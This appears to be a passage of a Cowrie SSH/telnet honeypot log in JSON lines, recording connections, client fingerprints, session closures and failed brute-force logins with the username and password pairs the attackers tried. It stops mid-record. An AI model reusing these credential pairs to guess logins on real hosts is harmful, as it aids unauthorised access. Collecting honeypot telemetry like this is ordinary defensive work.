{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:47.779524Z","src_ip":"213.209.159.158","session":"00c259d9be0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":37364,"dst_ip":"159.203.135.109","dst_port":23,"session":"044414cbee5c","protocol":"telnet","message":"New connection: 107.155.66.219:37364 (159.203.135.109:23) [session: 044414cbee5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:52.842419Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vvcdn2023","message":"login attempt [root/Vvcdn2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:57.276940Z","src_ip":"213.209.159.158","session":"00c259d9be0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":35556,"dst_ip":"159.203.135.109","dst_port":23,"session":"36f74f0d6804","protocol":"telnet","message":"New connection: 107.155.66.219:35556 (159.203.135.109:23) [session: 36f74f0d6804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:57.328461Z"}
{"eventid":"cowrie.session.closed","duration":30.90151858329773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:58.266503Z","src_ip":"107.155.66.219","session":"11a454ff4364","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:00.463506Z","src_ip":"213.209.159.158","session":"00c259d9be0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18378,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cc6a8416b01","protocol":"ssh","message":"New connection: 213.209.159.158:18378 (159.203.135.109:22) [session: 2cc6a8416b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:00.589493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:03.061645Z","src_ip":"213.209.159.158","session":"2cc6a8416b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:03.067561Z","src_ip":"213.209.159.158","session":"2cc6a8416b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44684,"dst_ip":"159.203.135.109","dst_port":23,"session":"d595ef58d271","protocol":"telnet","message":"New connection: 62.171.135.55:44684 (159.203.135.109:23) [session: d595ef58d271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:04.880779Z"}
{"eventid":"cowrie.session.closed","duration":30.528444051742554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:09.419675Z","src_ip":"62.171.135.55","session":"65458839a1bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872408628463745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:11.057096Z","src_ip":"107.155.66.219","session":"280e42816bfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":56016,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc84a3867088","protocol":"ssh","message":"New connection: 43.159.177.40:56016 (159.203.135.109:22) [session: bc84a3867088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:11.445109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:11.453479Z","src_ip":"43.159.177.40","session":"bc84a3867088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:11.524670Z","src_ip":"43.159.177.40","session":"bc84a3867088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"12345678","message":"login attempt [vbox/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:11.802641Z","src_ip":"43.159.177.40","session":"bc84a3867088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vmw","message":"login attempt [root/vmw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:12.345439Z","src_ip":"213.209.159.158","session":"2cc6a8416b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:12.884234Z","src_ip":"43.159.177.40","session":"bc84a3867088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:15.397876Z","src_ip":"213.209.159.158","session":"2cc6a8416b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8380,"dst_ip":"159.203.135.109","dst_port":22,"session":"15ac0f512fe2","protocol":"ssh","message":"New connection: 213.209.159.158:8380 (159.203.135.109:22) [session: 15ac0f512fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:15.513223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:17.972953Z","src_ip":"213.209.159.158","session":"15ac0f512fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:17.976755Z","src_ip":"213.209.159.158","session":"15ac0f512fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.256959438323975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:23.099254Z","src_ip":"107.155.66.219","session":"044414cbee5c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vulcain","message":"login attempt [root/vulcain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:27.246012Z","src_ip":"213.209.159.158","session":"15ac0f512fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6990807056427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:28.027387Z","src_ip":"107.155.66.219","session":"36f74f0d6804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":49382,"dst_ip":"159.203.135.109","dst_port":22,"session":"121a89e2f5b3","protocol":"ssh","message":"New connection: 156.227.233.77:49382 (159.203.135.109:22) [session: 121a89e2f5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:29.677432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:29.682635Z","src_ip":"156.227.233.77","session":"121a89e2f5b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:29.844857Z","src_ip":"156.227.233.77","session":"121a89e2f5b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2024","message":"login attempt [user/2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:30.521634Z","src_ip":"156.227.233.77","session":"121a89e2f5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:30.791833Z","src_ip":"213.209.159.158","session":"15ac0f512fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":37370,"dst_ip":"159.203.135.109","dst_port":22,"session":"473f7f34236f","protocol":"ssh","message":"New connection: 213.209.159.158:37370 (159.203.135.109:22) [session: 473f7f34236f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:30.883818Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:31.685271Z","src_ip":"156.227.233.77","session":"121a89e2f5b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46516,"dst_ip":"159.203.135.109","dst_port":22,"session":"214e5e2637a8","protocol":"ssh","message":"New connection: 159.203.92.129:46516 (159.203.135.109:22) [session: 214e5e2637a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:31.881800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:31.886868Z","src_ip":"159.203.92.129","session":"214e5e2637a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:31.891568Z","src_ip":"159.203.92.129","session":"214e5e2637a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"pass@123","message":"login attempt [ansible/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:31.901865Z","src_ip":"159.203.92.129","session":"214e5e2637a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:32.911850Z","src_ip":"159.203.92.129","session":"214e5e2637a8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:33.033378Z","src_ip":"213.209.159.158","session":"473f7f34236f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:33.084623Z","src_ip":"213.209.159.158","session":"473f7f34236f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.42922592163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:35.309859Z","src_ip":"62.171.135.55","session":"d595ef58d271","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpspassword","message":"login attempt [root/vpspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:42.190607Z","src_ip":"213.209.159.158","session":"473f7f34236f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:45.482086Z","src_ip":"213.209.159.158","session":"473f7f34236f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63320,"dst_ip":"159.203.135.109","dst_port":22,"session":"56cb614b2374","protocol":"ssh","message":"New connection: 213.209.159.158:63320 (159.203.135.109:22) [session: 56cb614b2374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:45.571515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:43:47.607541Z","src_ip":"213.209.159.158","session":"56cb614b2374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hm